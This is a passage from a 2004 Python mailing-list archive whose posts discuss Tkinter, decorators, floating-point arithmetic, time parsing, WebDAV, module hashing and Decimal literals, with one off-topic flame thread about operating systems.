(Text, Entry), the string returned is "fucked"... In the Entry widget, the text is (with .insert) "?t?" When I add a "?" at end (with my keyboard), th result is "?t???" OR a raised error! I find, on net, that I must use "sys.setdefaultencoding(name)". I find find this methode in the doc (official) but the "setdefaultencoding" name method is not in the sys module!?! (when I print "dir(sys)"?! :-( Askari From peter at engcorp.com Tue Sep 28 13:08:40 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 13:08:40 -0400 Subject: annoying behavior In-Reply-To: <9418be08.0409280856.9368ddf@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> Message-ID: <DPednT7KZsYEB8TcRVn-gA@powergate.ca> Elbert Lev wrote: > # here is the problem I ran into: [code that uses a name before it's bound to anything] > #here is the output: > #AttributeError: foo instance has no attribute 'r' > > # I understand why does this happen, but, to tell the truth, > # this feature is very annoying. > # Are there any plans to relax this restriction? > # In 3.0 :)? Uh, what feature? You have a bug in your code. What you showed is *no* different than doing this and expecting something other than an error: >>> print x >>> x = 5 Please explain in more detail why you think this shouldn't be giving an error, and what output you think it should have given you. -Peter From nid_oizo at yahoo.com_remove_the_ Wed Sep 1 17:17:47 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Wed, 01 Sep 2004 17:17:47 -0400 Subject: Rejecting the J2 decorators proposal In-Reply-To: <mailman.2708.1094014769.5135.python-list@python.org> References: <mailman.2708.1094014769.5135.python-list@python.org> Message-ID: <%%qZc.18144$CG3.1201292@news20.bellglobal.com> Guido van Rossum wrote: > A warning: some people have shown examples of extreme uses of > decorators. I've seen decorators proposed for argument and return type > annotations, and even one that used a decorator to create an object > that did a regular expression substitution. Those uses are cute, but I > recommend being conservative when deciding between using a decorator > or some other approach, especially in code that will see a large > audience (like 3rd party library packages). Using decorators for type > annotations in particular looks tedious, and this particular > application is so important that I expect Python 3000 will have > optional type declarations integrated into the argument list. One of my main concern with decorators is that they look complex for simple things like static methods and argument types. I'm becomming off-topic, but in Python 3000, self could also become a keyword and make normal/static methods automatically and minimalistically. I think it has some charm since self would only be necessary when used. If class methods are useful, they can still be made with decorators. > Thanks to everyone who read until the end of this message! I was a J2 supporter and I'm happy with your decision. Looking at the pool on Wiki, it seems many would have prefer an inside-body solution (I guess we're used to docstrings) (but it was considered ruled out, so we rallied on something else), but @decorators current syntax is very usable. When I compare Python to other languages, there's no doubt we can trust your decisions. Thanks to you for Python! Regards, Nicolas From drysdam at ll.mit.edu Wed Sep 15 08:44:42 2004 From: drysdam at ll.mit.edu (David Rysdam) Date: Wed, 15 Sep 2004 08:44:42 -0400 Subject: funcs vs vars in global namespace In-Reply-To: <A6W1d.14$26.12@llslave.llan.ll.mit.edu> References: <J8B1d.3$26.1@llslave.llan.ll.mit.edu> <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <z_B1d.5$26.4@llslave.llan.ll.mit.edu> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> <H2G1d.11$26.2@llslave.llan.ll.mit.edu> <1gk4dcr.pql0gw1xlvicaN%aleaxit@yahoo.com> <4IG1d.13$26.5@llslave.llan.ll.mit.edu> <ci7m0h$jl1$0$216.39.172.122@theriver.com> <A6W1d.14$26.12@llslave.llan.ll.mit.edu> Message-ID: <_OW1d.16$26.10@llslave.llan.ll.mit.edu> David Rysdam wrote: > > Aha, yes indeed this gives me ideas. Very excellent tutorial, I've > saved it for when I manage to confuse myself again later. I think I > know just how to do what I want to do now, though I'm beginning to > question the wisdom of providing the feature in question at all. But if > I'm going to, it should be right, so I still thank you. I knew I was doing this the wrong way and I've just realized what the Right Way is: I should just use objects instead of trying to manipulate dictionaries. When I make a new version of the "API", I just create a new class to inherit from the previous version. I'm a bit concerned that it took me so long to realize this... From abra9823 at mail.usyd.edu.au Fri Sep 17 07:28:08 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Fri, 17 Sep 2004 21:28:08 +1000 Subject: gui - wait for dialog to close Message-ID: <1095420488.414aca48652a5@www-mail.usyd.edu.au> hi! i have an application which requires a username what i am trying to do is when the application runs, a dialog window appears which prompts the user for his name. once thats entered, the dialog box is destroyed, the username stored and the application gui is drawn i tried doing this by adding a wait_window call in my application GUI's init. the idea was to suspend execution till the username is entered and the dialog box destroyed before continuing. that didn't work how can i do this? i have the option of creating the dialog box and when the username is entered then in the function that handles the username, create the rest of the GUI. i was wondering if there is any other way thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From gerrit at nl.linux.org Mon Sep 13 06:14:46 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 13 Sep 2004 12:14:46 +0200 Subject: confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9 In-Reply-To: <1095069998.11424.0.camel@illuvatar> References: <mailman.0.1095069999.8368.python-list@python.org> <1095069998.11424.0.camel@illuvatar> Message-ID: <20040913101446.GA20692@nl.linux.org> Hi, you have accidently replied to the list, instead of to python-list-request at python.org. You have not been unsubscribed, and everyone subscribed to the list has seen your message Jonathan Brandmeyer wrote: ... > > We have received a request for the removal of your email address, > > "jbrandmeyer at earthlink.net" from the python-list at python.org mailing > > list. To confirm that you want to be removed from this mailing list, > > simply reply to this message, keeping the Subject: header intact. Or > > visit this web page: > > > > http://mail.python.org/mailman/confirm/python-list/b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9 > > > > > > Or include the following line -- and only the following line -- in a > > message to python-list-request at python.org: > > > > confirm b9451b3d76ce30fe81f5538e3f12d6f8ee5986e9 ... yours, Gerrit. -- Weather in Twenthe, Netherlands 13/09 11:25: 18.0?C Scattered clouds mostly cloudy wind 7.2 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 16 19:06:02 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Fri, 17 Sep 2004 01:06:02 +0200 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: <cicsha$prl@odbk17.prod.google.com> Message-ID: <cidu0u$r6g$1@news-reader5.wanadoo.fr> re and, also, perhaps : GTK#, WxWidget for .Net, and Winform (with IronPython ?) From mailtome200420032002 at yahoo.com Sat Sep 18 02:37:29 2004 From: mailtome200420032002 at yahoo.com (john) Date: 17 Sep 2004 23:37:29 -0700 Subject: Database->python->Xml->Xslt->Client Message-ID: <4c900ea0.0409172237.3e5abf25@posting.google.com> Hi I am devlopeing a data centric intranetsite with data in mysql database I would like your opinion on this architecture Data will be fetched from database by python & converted into xml The XSLT will be stored on the client cache.So only the xml is transferred to client & the xslt transforms it into xhtml & displays it. Will this improve performance or have i gone nuts?? From forestiero at qwest.net Sat Sep 18 12:58:26 2004 From: forestiero at qwest.net (DogWalker) Date: Sat, 18 Sep 2004 09:58:26 -0700 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> Message-ID: <000801c49da0$baedeea0$e2920043@presario> Have a look at the FAQ (before the response to your message builds). ----- Original Message ----- From: Radioactive Man Newsgroups: comp.lang.python To: python-list at python.org Sent: Saturday, September 18, 2004 9:50 AM Subject: Math errors in python In python 2.3 (IDLE 1.0.3) running under windows 95, I get the following types of errors whenever I do simple arithmetic: 1st example: >>> 12.10 + 8.30 20.399999999999999 >>> 1.1 - 0.2 0.90000000000000013 2nd example(no errors here): >>> bool(130.0 - 129.0 == 1.0) True 3rd example: >>> a = 0.013 >>> b = 0.0129 >>> c = 0.0001 >>> [a, b, c] [0.012999999999999999, 0.0129, 0.0001] >>> bool((a - b) == c) False This sort of error is no big deal in most cases, but I'm sure it could become a problem under certain conditions, particularly the 3rd example, where I'm using truth testing. The same results occur in all cases whether I define variables a, b, and c, or enter the values directly into the bool statement. Also, it doesn't make a difference whether "a = 0.013" or "a = 0.0130". I haven't checked this under windows 2000 or XP, but I expect the same thing would happen. Any suggestions for a way to fix this sort of error? -- http://mail.python.org/mailman/listinfo/python-list From aleaxit at yahoo.com Tue Sep 14 10:12:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 16:12:07 +0200 Subject: tkinter question References: <mailman.3295.1095166157.5135.python-list@python.org> Message-ID: <1gk427p.1efngkj1x7k21iN%aleaxit@yahoo.com> Ajay <abra9823 at mail.usyd.edu.au> wrote: > hi! > > in my gui i have a set of radio buttons and some entry widgets. > what i'd like is that unless a particular radio button is selected, i > shouldn't be able to enter information in the entry widget. > > how would i do that? make the widget non-editable? theEntry.config(state=DISABLED) Remember that while the entry is disabled you can't alter its text, e.g. with insert and delete, you need to set state back to NORMAL (transiently) to modify the text in an Entry widget. Alex From clifford.wells at comcast.net Sun Sep 19 07:47:21 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 19 Sep 2004 04:47:21 -0700 Subject: Determining if a client PC has an Internet connection In-Reply-To: <cijqn7$j2$1@news-reader1.wanadoo.fr> References: <mailman.3489.1095578305.5135.python-list@python.org> <cijqn7$j2$1@news-reader1.wanadoo.fr> Message-ID: <1095594441.31957.311.camel@devilbox.devilnet.internal> On Sun, 2004-09-19 at 13:31 +0200, Michel Claveau - abstraction m?ta- galactique non triviale en fuite perp?tuelle. wrote: > Hi ! > > Not only Internet, but with good suspicion : test if IP-passerelle is > present and answer to ping. Sorry, you lost me here: passerelle == bridge? > Then Ping one or two IP "externals and stables". Again, I don't follow. Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From michele.simionato at gmail.com Tue Sep 14 02:14:31 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 13 Sep 2004 23:14:31 -0700 Subject: time.strptime Message-ID: <4edc17eb.0409132214.48c191d@posting.google.com> I have strings representing UTC dates and I want to convert them in time tuples using time.strptime. I have an issue with daylight savings. For instance Tue Sep 14 06:06:15 2004 is converted to (2004, 9, 14, 6, 6, 15, 1, 258, -1) The last "-1" means daylight savings. I want it to be 0. I tried to play with time.daylight and time.timezone but with no luck. Any hints? TIA, Michele Simionato From cgibbs at kltpzyxm.invalid Tue Sep 7 13:44:24 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 07 Sep 04 09:44:24 -0800 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch><87hdqptl96.fsf_-_@thalassa.informatimago.com><4PGdnfsOfdDPi63cRVn-tA@speakeasy.net><slrncj1745.t5q.amajorel@atc5.vermine.org><41337FC9.8070902@hotmail.com><slrncj7hhh.2pt.amajorel@atc5.vermine.org><p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com><slrncj8m5n.2pt.amajorel@atc5.vermine.org><%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net><2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com><opsdpdzglzpqzri1@mjolner.upc.no><slrncjep0f.oa.amajorel@vulcain.knox.com><opsdpprvxppqzri1@mjolner.upc.no><slrncjf52a.oa.amajorel@vulcain.knox.com> <20040904.0140.57670snz@dsl.co.uk> Message-ID: <769.746T1245T5844062@kltpzyxm.invalid> In article <20040904.0140.57670snz at dsl.co.uk>, bhk at dsl.co.uk (Brian {Hamilton Kelly}) writes: >On Thursday, in article ><slrncjf52a.oa.amajorel at vulcain.knox.com> amajorel at teezer.fr >"Andre Majorel" wrote: > >> Are you arguing that the stability comes from the API, not from >> the implementation ? If so, why has NT become more stable over >> the years, since its API has not changed ? > >I'd like to imagine that it's because there are fewer fuckwits using >it; BICBW.... Does this mean that XP is getting less stable? -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From jcarter at johmar.engr.sgi.com Wed Sep 22 12:19:01 2004 From: jcarter at johmar.engr.sgi.com (Jack Carter) Date: Wed, 22 Sep 2004 09:19:01 -0700 (PDT) Subject: namespace/dictionary quandry In-Reply-To: Peter Otten <__peter__@web.de> "Re: namespace/dictionary quandry" (Sep 21, 8:54am) References: <mailman.3474.1095464076.5135.python-list@python.org> <cigt4h$mrf$05$1@news.t-online.com> <mailman.3584.1095704635.5135.python-list@python.org> <cioj7k$o6$02$1@news.t-online.com> Message-ID: <10409220919.ZM977219@johmar.engr.sgi.com> Peter, Actually although your solution is a good one, it won't really help me because of the nature of our command language. We have commands in the form of: result = <command_name> <filename> -e <experiment_name> I currently scan ahead for <command_name> and could do so for the rest to prevent them from being evaluated by python by packing them with quotes and then unpacking them later. The problem lies in the case where the name being used in the commandline may or may not be a formal name such as a filename or may be a variable that will evaluate into a filename. This will be used in a list of filenames or a list of experiment names iterated through a for loop. >>> for name in (['file1','file2','file3']): ... expClose name ... expClose: ['file1'] expClose: ['file2'] expClose: ['file3'] But when the user tries to use a formal name that is not through a python variable he/she hits an undefine name error: >>> expClose file4 Traceback (most recent call last): File "<console>", line 1, in ? NameError: name 'file4' is not defined If I prescan the <filename> and pack it with quotes I lose the python evaluation of the name. The same problem will occur with all my other option arguments for which there are many. The solution it would seem would be to do the evaluation later within the called function. That way I could assume that all failed eval()'ed names are literals meant for my command and not a python variable/name. If this makes sense, the problem I need to solve is how to deliver the correct namespace dictionary to the called function so I can invoke eval with it. Does this make sense? Regards, Jack From linuxtrooper at yahoo.com Thu Sep 2 17:26:32 2004 From: linuxtrooper at yahoo.com (Tongu? Yumruk) Date: 2 Sep 2004 14:26:32 -0700 Subject: A little stricter type checking Message-ID: <ef9924de.0409021326.6e72802b@posting.google.com> I have a little proposal about type checking in python. I'll be glad if you read and comment on it. Sorry for my bad english (I'm not a native English speaker) A Little Stricter Typing in Python - A Proposal As we all know, one of the best things about python and other scripting languages is dynamic typing (yes I know it has advantages and disadvantages but I will not discuss them now). Dynamic typing allows us to change types of variables on the fly, and frees us from the redundant work of defining variables, and their types. On the other hand in languages like C, java etc... where types are strict ve have the guarantee that the variables will always be the same type without any change. For example think that you are writing a utility function for a library. In python you just define the function name and the name of the parameters but you can never know the variables that has been passed from parameters will always function as you planned. If you want to be sure, you need to explicitly check if the variable has the correct type. On the other side for example in C you don't need to check the types of variables since the compiler will complain if there are incompatible types. But this approach also limits the flexibility and destroys the advantages of dynamic typing. What we need is a way to define types of the parameters in a flexible way. So Here it is... We can use operators like those we use in boolean operations. For exampla lets assume that we have a function that take one parameter which needs to be an instance of class foo, or an instance of a subclass of foo. In current style it will look like that: def larry(guido): <some checks to be sure that guido is an instance of foo or an instance of a subclass of foo> <Actual code> Well always checking the types of the parameters in the start of every function is too many redundant work. Instead we can define a syntax that will check the type information at the beginning of function declaration, and even before executing any code from that function. That syntax might look like that: def larry(guido >= foo): <Just actual code, no checking since the interpreter handles it> And if we have a function that have much more parameters, this kind of a syntax will really help us to remove redundant code from our functions. The syntax can be defined by something like: Symbol : Definition == : The parameter is an instance of a given class for example: d == dict >= : The parameter is an instance of the given class or one of its subclasses <= : The parameter is an instance of the given class or one of its parent classes This list can be expanded to include != or even a more fantastic operator: "in" so that we can check if the parameter has a specific attribute before executing our function. The best thing about this approach is that while keeping flexibility it adds better type checking and it keeps the compatibility with old code. So that's all for now... All comments are welcome. From aleaxit at yahoo.com Fri Sep 3 04:30:17 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 10:30:17 +0200 Subject: Modules are hashable?! References: <2pld08Fm7mo8U1@uni-berlin.de> <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> <4137ed92$1@news.unimelb.edu.au> <ch8rkp$ncp$1@news.service.uci.edu> <4137f84c@news.unimelb.edu.au> Message-ID: <1gjj8wf.8gtwx31y99tneN%aleaxit@yahoo.com> Maurice LING <mauriceling at acm.org> wrote: > is there actually a practical reason to hash modules? can I call a > module using the hash key? You cannot call a module: a module does not have a __call__ method. This has nothing to do with hashing. A practical reason to hash modules would be to associate to each module some value or group of values -- without sticking those values in the module itself -- or keep track of a set of modules having some special characteristic whereby you want to "logically group them together" as the set of keys into a certain dict (or in 2.4 the elements of a certain set, since set is now a builtin type). Consider for example a module that starts: import foo, fee, fie, fo, fum, bar, baz, bat yet_untested_modules = dict.fromkeys([ fee, bar, baz ]) later on you might have code like if somemodule in yet_untested_modules: somemodule.perform_all_tests() del yet_untested_modules[somemodule] for "just in time testing" of a certain set of modules. OK, weird-ish, but it's what I could come up in 20 seconds;-). To have modules as dict keys or set members they must be hashable, and since there's no reason to make them unhashable, why not? Alex From mwh at python.net Fri Sep 3 10:46:03 2004 From: mwh at python.net (Michael Hudson) Date: Fri, 3 Sep 2004 14:46:03 GMT Subject: Sequence Protocol, assign item References: <ch81gl$avb$1@schleim.qwe.de> Message-ID: <m3u0ufe7h1.fsf@pc150.maths.bris.ac.uk> Torsten Mohr <tmohr at s.netic.de> writes: > Hi everybody, > > at the moment i try to write an extension module in C > and i implement the sequence protocol for the data type > i created. Reading values works fine. > > But assigning a value does not work correctly, has anybody > got an example for that? > > The function type i have to create is intobjargproc, so > i need to return an "int". Returning 0 or 1 does not seem > to work. > > What can the return value be, what can i return her in case > of failure and in case od success? > > I don't use any INCREF or DECREF inside my function, do i need > to do that for some parameters? The exact error message i > don't have available at the moment, i'll bring that one tomorrow, > but it looks to me that at the cleanup at the end of the script > an exception is thrown somewhere. I suggest you look at the implementation of, say, lists in the Python source distribution (Objects/listobject.c). This is another way of saying I don't remember the answer to your question :-) Cheers, mwh -- <shapr> ucking keyoar -- from Twisted.Quotes From missive at frontiernet.net Fri Sep 10 15:55:47 2004 From: missive at frontiernet.net (Lee Harr) Date: Fri, 10 Sep 2004 19:55:47 GMT Subject: Postgresql - Preferred Python Library References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> <Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116> <mailman.3136.1094804452.5135.python-list@python.org> Message-ID: <slrnck41m2.2bjj.missive@homer.localdomain> On 2004-09-10, Matt Goodall <matt at pollenation.net> wrote: > I've just started experimenting with psycopg2 > (http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good. > > As far as I know, psycopg2 is the only DB-API 2.0 implementation for > PostgreSQL that uses Python 2.3's datetime types by default. ooh, aah. :o) Yes, the datetime handling in the older psycopg was getting on my nerves... Native datetime is going to make things much nicer. That said, psycopg works very well for me. The only other thing that is a bit strange is passing array types in to the database. I have been using this: alist = ['foo', 'bar'] query = 'SELECT ARRAY%(alist)s' execute(query, locals()) It works perfectly well, but it seems a bit strange... From jmfbahciv at aol.com Mon Sep 6 07:26:22 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Mon, 06 Sep 04 11:26:22 GMT Subject: Xah Lee's Unixism References: <Os7_c.113460$Fg5.65632@attbi_s53> <1094257487.855439@teapot.planet.gong> <qs9_c.235307$8_6.157753@attbi_s04> <1094285694.404322@teapot.planet.gong> <irl_c.67482$jZ5.60995@clgrps13> <1bpt51alai.fsf@cs.nmsu.edu> <1094329053.514935@teapot.planet.gong> <idr_c.307648$OB3.136180@bgtnsc05-news.ops.worldnet.att.net> <871xhgh8im.fsf@k9.prep.synonet.com> Message-ID: <413c5c55$0$19705$61fed72c@news.rcn.com> In article <871xhgh8im.fsf at k9.prep.synonet.com>, Paul Repacholi <prep at prep.synonet.com> wrote: >Nick Landsberg <SPAMhukolauTRAP at SPAMworldnetTRAP.att.net> writes: > >>> Indeed, it could have failed in a way entirely unique to >>> itself... :) The O-Ring thing had been identified, was preventable >>> and should have been prevented. Sure, perhaps the design did suck, >>> but the point is the whole disaster was trivially avoidable if the >>> people running the show were willing to grasp the nettle. > >> Since we're so far off-topic here anyway ... > >> It has been so many years since the Challenger disaster that memory >> fades (especially at my age), so bear with me if a misremember >> something. > >> As I recall, the particular launch happened during an unusual cold >> spell in Florida. I also recall that the investigation uncovered >> strong recommendations by several senior engineers, prior to launch, >> that the launch should be postponed because the system (shuttle and >> boosters) had never been launched during those kinds of weather >> conditions. (It could very well be that they might have pointed out >> the O-rings specifically, but I don't recall.) Some >> managementcritter at some level (probably in NASA) ignored or >> overruled those recommendations. I can only conjecture that this >> was because that the prevailing culture (in most corporations, then >> and now) is "we have to meet our schedules." > >Grab a copy of `Genius', Gleiks bio of RF and read the end chapters >and note what was `leaked' to him. > >Before the launch, it was known that they where colder than any >previous launch, and that the seal erosion problems they worried about >where wose in colder conditions. > >The engineers wanted to holdm but that would have meant Ronny Raygun >could not grandstand on TV, so N.A.S.A. Somebody just wrote in another newsgroup that the two pilots of the shuttle used to sit in ejectable seats but the others didn't. So politically correct equal employment opportunity PHBs eliminated the ejections because it wasn't fair to rest of the crew. There is something wrong with this logic. /BAH Subtract a hundred and four for e-mail. From alanmk at hotmail.com Wed Sep 8 14:07:09 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Wed, 08 Sep 2004 19:07:09 +0100 Subject: WebDAV Server In-Reply-To: <m3n0009a10.fsf@frank.xprtcc.com> References: <m3n0009a10.fsf@frank.xprtcc.com> Message-ID: <uOH%c.26851$Z14.8686@news.indigo.ie> [Jody Winston] > I'd like to present a view of an internal data store, which has Python > interface built using SWIG, so that my users can traverse and > manipulate the data store using familiar tools. Have you considered using something like pythonfs: "Linux Filesystem Drivers for backends written in Python"? http://pythonfs.sourceforge.net/ Your backend could be your swig-wrapped internal data store. Then your users could use familiar file management tools on your data store. It could be exposed to a web server as the document root of the server: which would be nice because you could pick any standard webserver and not require it to be in python: every webserver understands filesystems. Same argument applies to webdav, i.e. you could use a native webdav module for, say, Apache, layered over your data-store "filesystem". [Jody Winston] > My first thought was > to adapt an existing WebDAV server. I'm not sure that adapting someone elses webdav component would be the most appropriate solution. Most such modules will likely apply their own semantics to webdav methods and properties, which are relevant only to their own intended storage mechanism. Take, for example, the subversion module for apache, which has webdav support. But it performs all webdav operations directly on the contents of a subversion repository, which has versioning, branching, labelling semantics, etc. If you just wanted a read-only view of your data store, I would suggest using a web framework such as quixote to map uris to your (hierarchical?) data store somehow. Quixote is structured around the concept of mapping uris to python objects in a straightforward and configurable manner, so it might be a good fit. You could then extend the model to support PUT, POST, HEAD, OPTIONS, etc, methods as well. By which time you would have implemented a significant proportion of WEBDAV :-) Which leads onto the question: what operations do you intend to facilitate on your data store? What kinds of tools do you wish to allow people to use to access it, and what kinds of operations should those tools support? For instance, if your data is more relational than hierarchical, it might be more appropriate to write an ODBC front-end for your datastore? regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From uthand at hotmail.com Wed Sep 8 12:44:00 2004 From: uthand at hotmail.com (Fritz Bosch) Date: 8 Sep 2004 09:44:00 -0700 Subject: Import into specified namespace Message-ID: <cf038e65.0409080844.16289c78@posting.google.com> Hi experts Is is possible to import/manipulate a module such that I can supply its __dict__? I want to supply my own dict subclass object to be filled by the import, e.g. a class like: >>> class MyModuleDict(dict): ... def __setitem__(self,name,val): ... print name, val ... dict.__setitem__(self,name,val) __dict__ is a readonly attribute, so I can't change it after the import, i.e. the following doesn't work: >>> import sys >>> mydic = MyModuleDict() >>> mydic.update(sys.__dict__) >>> sys.__dict__ = mydic Traceback (most recent call last): File "<interactive input>", line 1, in ? TypeError: readonly attribute I have experimented with new.module(), __import__(), imp.*, exec/eval/execfile+globals/locals but to no avail. Is there any way to do this? Thanks Fritz From tdelaney at avaya.com Fri Sep 3 02:33:00 2004 From: tdelaney at avaya.com (Delaney, Timothy C (Timothy)) Date: Fri, 3 Sep 2004 16:33:00 +1000 Subject: Announcing PyCs, a new Python-like language on .Net Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE01E44FFC@au3010avexu1.global.avaya.com> Alex Martelli write: > You can always retrofit an acronym onto a cool name if that's > your game, after all. BTW, that's often known as a backronym ... ;) Tim Delaney From beliavsky at 127.0.0.1 Wed Sep 1 14:12:14 2004 From: beliavsky at 127.0.0.1 (beliavsky@aol.com) Date: 1 Sep 2004 13:12:14 -0500 Subject: function returning a list References: <ch52ou$bp4$1@solaris.cc.vt.edu> Message-ID: <413610fe$1_1@127.0.0.1> Brad Tilley <bradtilley at usa.net> wrote: >Can a function return a list? Yes, it can return anything. Here is a trivial example: def twice(x): return 2*x print twice(1.0) # 2.0 print twice([1.0]) # [1.0, 1.0] Note that "2*x" has a very different effect, depending on what "x" is. ----== Posted via Newsfeed.Com - Unlimited-Uncensored-Secure Usenet News==---- http://www.newsfeed.com The #1 Newsgroup Service in the World! >100,000 Newsgroups ---= 19 East/West-Coast Specialized Servers - Total Privacy via Encryption =--- From carribeiro at gmail.com Thu Sep 23 08:32:34 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Thu, 23 Sep 2004 09:32:34 -0300 Subject: Why not FP for Money? In-Reply-To: <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> References: <mailman.3721.1095866067.5135.python-list@python.org> <cc887c1d.0409222103.388c40de@posting.google.com> <mailman.3775.1095939700.5135.python-list@python.org> <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1> Message-ID: <864d3709040923053223313285@mail.gmail.com> On 23 Sep 2004 11:56:40 GMT, Duncan Booth <duncan.booth at invalid.invalid> wrote: > Can you give a use-case where you would actually write $1.00 + 0.99212 > rather than, say, 'balance + interest'? For systems development, you're probably right. But for quick-and-dirty scripting or even interactive usage, a direct notation is cleaner, more readable, and les obstrusive than to have to specify it as in: Money("1.00") > For that matter can you give a use case where you actually need to write > fixed point decimal literals in your code rather than taking them out of a > configuration file? Well, actually I don't see any reason why I should be precluded from writing fixed point literals in my code. Why should I need a configuration file, or a database, for everything that I do with fixed point numbers? That's similar to saying that I don't need to be able to write Unicode literals, because I can always read them from a file (and you know how much trouble Unicode support is right now -- encoding stuff, etc). Besides that, that's a problem with convenience. 2.4 Decimal type can't be constructed from a float -- one has to use a string. I think this does introduce unnecessary clutter in code. That's a quote from from : What's new on Python 2.4": http://www.python.org/dev/doc/devel/whatsnew/node8.html """ Converting from floating-point numbers poses a bit of a problem: should the FP number representing 1.1 turn into the decimal number for exactly 1.1, or for 1.1 plus whatever inaccuracies are introduced? The decision was to leave such a conversion out of the API. Instead, you should convert the floating-point number into a string using the desired precision and pass the string to the Decimal constructor: """ PEP327 also does mention it: http://www.python.org/peps/pep-0327.html#explicit-construction: """ So, the accepted solution through c.l.p is that you can not call Decimal with a float. """ So, in order to construct a Decimal, I need to write something like: >>> a = decimal.Decimal('35.72') >>> b = decimal.Decimal('1.73') >>> a+b Decimal("37.45") But I could write it this way (just an example; my proposed notation is for fixed point, not floating point decimal): >>> a = $35.72 >>> b = $1.73 >>> a+b $37.45 And it would work. That's nice, clean, and reads quite obviously -- even if using a symbol as part of the syntax. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From strombrg at dcs.nac.uci.edu Fri Sep 3 16:30:52 2004 From: strombrg at dcs.nac.uci.edu (Dan Stromberg) Date: Fri, 03 Sep 2004 13:30:52 -0700 Subject: POST with basic auth and cookie from python? Message-ID: <pan.2004.09.03.20.30.52.790127@dcs.nac.uci.edu> If I wanted to write a python script that performs basic auth, gets a cookie, and then does an http POST using the cookie for authentication, what would be the best python API to write to? Does someone already have example code that does something like this? Thanks. From maxm at mxm.dk Wed Sep 22 04:42:23 2004 From: maxm at mxm.dk (Max M) Date: Wed, 22 Sep 2004 10:42:23 +0200 Subject: python vs c# In-Reply-To: <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> Message-ID: <41513aac$0$285$edfadb0f@dread12.news.tele.dk> Alex Martelli wrote: > If you must troll, at least troll with some skill, "julio". Better > still, as many have already suggested, just go away, thanks. Well, not to feed the troll, but there is a few relevant points in it's posting. When writing big systems, it is nice to be able to have an enviroment to code in. Eg. an IDE. I am mostly a Zope coder, and while it's a very powerfull system that now makes it possible to do a huge amouont of work in a short time, it has the famous Z-shaped learning curve. It is really really hard to learn. This is caused by the system design (Which should be solved with Zope3). But I cannot help to think that a self-educating system would be of a big help. A system where introspection was well supported. They do it in Z3 by making the programmer make more work, but it could probably have been nice if the language was able to do more of the work in that regards. I have a feeling that the typelessness of Python can make this harder. Wrappers on top of wrappers on top of som kind unknown data type can be really hard to trace. Eg. if I call a method called getAuthenticatedMember() what does it return? In plain Zope it returns a user object, but if you have added the CMF to the system, it returns a user object that is wrapped with extra functionality. Also the membership tool is wrapped itself several times. In Zope it is acl_users, in CMF it's the membership tool and in in Plone it's wrapped once more, but still called the membership tool. Each layer adds functionality. This makes it really hard to find out what inteface you actually have available at what level. An IDE that could make dynamic introspection on a system like that, would be of a big help. I think that static typed systems might be easier to write an introspective IDE for. This is an issue when the system get's a lot bigger than the language. -- hilsen/regards Max M, Denmark http://www.mxm.dk/ IT's Mad Science From terti at mighty.co.za Thu Sep 16 06:50:53 2004 From: terti at mighty.co.za (Tertius) Date: 16 Sep 2004 03:50:53 -0700 Subject: XML over HTTP Message-ID: <99033367.0409160250.780235e7@posting.google.com> Hi, A client is *not* able to use XML-RPC but *can* send plain 